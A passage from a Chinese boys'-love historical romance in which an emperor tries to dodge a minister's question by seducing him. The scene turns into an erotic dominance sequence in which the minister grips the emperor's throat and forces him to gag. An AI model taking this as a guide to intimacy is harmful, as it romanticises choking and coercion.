沈衡伸出两指按在他额头上,阻止住他想凑过来的动作,低声道:“不用讨我欢心,说说打算怎么回报。因为我在京兆府帮你做的那出戏,贾良现在恨不得弄死我。”
宋南卿舔了下嘴角,幽幽道:“他本来就想弄死你很久了,又不差这一回。”
沈衡扬眉问:“说什么?”
“没,没什么!”宋南卿语气渐弱,被他按的额头有了
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个红印也毫不在意,捏着沈衡压襟玉佩下面的流苏晃了晃,“那你说想要什么报答嘛。”
除了这江山,他什么都能给;但除了这江山,他又好像什么都没有。
沈衡低头看着自己的衣襟被他拽开了一条缝隙,也没做什么反应,只是语气认真道:“我想要陛下告诉我,下一步,你想做什么。”
玉佩上的手指一僵,宋南卿原本搭在人大腿上摇晃的腿也停止了动作,他垂下的眼帘里挡住了许多翻涌的东西,再抬眼,又已是一片清澈。
冰凉的玉佩沾染了手心的温度,宋南卿拽着那个玉佩借力,一下子坐到了沈衡腿上。他四肢纤细,屁股上的肉倒是不少,坐在人怀里说:“下一步做什么不知道,我从刚刚就想坐这儿了。”
御男十术第五条,当男人问起你刚刚跟谁出去玩、这个月买了第几套首饰、是不是还在想念初恋等等你不想回答也没办法正面回答的问题时,制造肢体接触,到床上去,用身体回答他:“我是你的。”
纯稚的面容像是没有半分作假,宋南卿刚刚晾干的乌发垂在身后,因为动作,有几缕轻轻拂过沈衡鼻尖,搭在了他的肩膀上,要掉不掉。
他侧坐在人怀里,单手挂在沈衡脖子上,二人体温交织,温度越升越高。淡绿色的衣摆和沈衡墨色的袖子叠在一起,像极了屏风上那副花海的配色。
宋南卿一双眼睛生的极好,明亮多情,上挑的眼尾又更添了几分春色。他看向沈衡的左眼,又快速垂下睫毛,眼神扫过人的嘴唇,又缓缓掀起眼皮,眼波流转含情带怯,眼睛一点点往上抬起,黑白分明的眸子像是含了层水又掺杂着说不明的期待和小心,慢慢撩动着人的情绪。
一声清脆的声音响起,那块通透上乘的羊脂玉佩,刚刚被他拽松了,现在坠落到地上,砰地摔成了两半。
沈衡捏住一点他侧腰上的软肉,眸子里全是一派冷静,他带着若有若无的笑讽道:“好像有人在说谎,神降下惩罚了。”
宋南卿脸颊发红,咬住牙根说:“我赔你一个就是了。”
温热的大手摸了摸宋南卿柔软泛红的脸颊,被恼羞成怒的某人咬住了食指不松口。
沈衡勾起手指往里伸了一节,高热湿滑的口腔包裹着手指,却阻挡不住攻势,敏感的上颚被轻轻蹭过,只是一下,瞬间激起的酥麻痒意让宋南卿鸡皮疙瘩都起来了,他抖了抖,缩起脖子要躲,没想到却被沈衡的另一只手攥住了细细的脖颈。
“我是不是告诉过你,别再把这种勾引人的小心思用在我身上。”沈衡盯着他慢慢变得潮湿的眼睛说,“屡教不改,卿卿是觉得我脾气很好,怎么由你玩都不会生气?”
伸到喉口的手指让人不但难以吞咽口水,还会使人干呕。宋南卿的眼眶很快就红起来,泪水盈满。他被攥着脖子动弹不得,发出无声的阵阵干呕,涎水从嘴角两侧控制不住滴落,狼狈又难受到极点想要逃避。
刚刚上颚被摩擦的酥麻还没有散去,和现在的痛苦混在一起,脖子上的手掌力道不至于让他喘不过气,又带来了绝无仅有的被掌控感。宋南卿已经感受不清到底是难受多还是愉悦多,他想哭嘴里塞着东西哭不出声,想逃却被收紧的五指拽了回来。
墨色的衣袖上一滴滴落下的湿痕,已经分不清到底是口水还是泪水。沈衡黑到极致的眼睛在光下透着一点琥珀色,把宋南卿漂亮凌乱又时不时被掐的翻白眼的一张脸尽收眼底。
“你再躲一个试试?”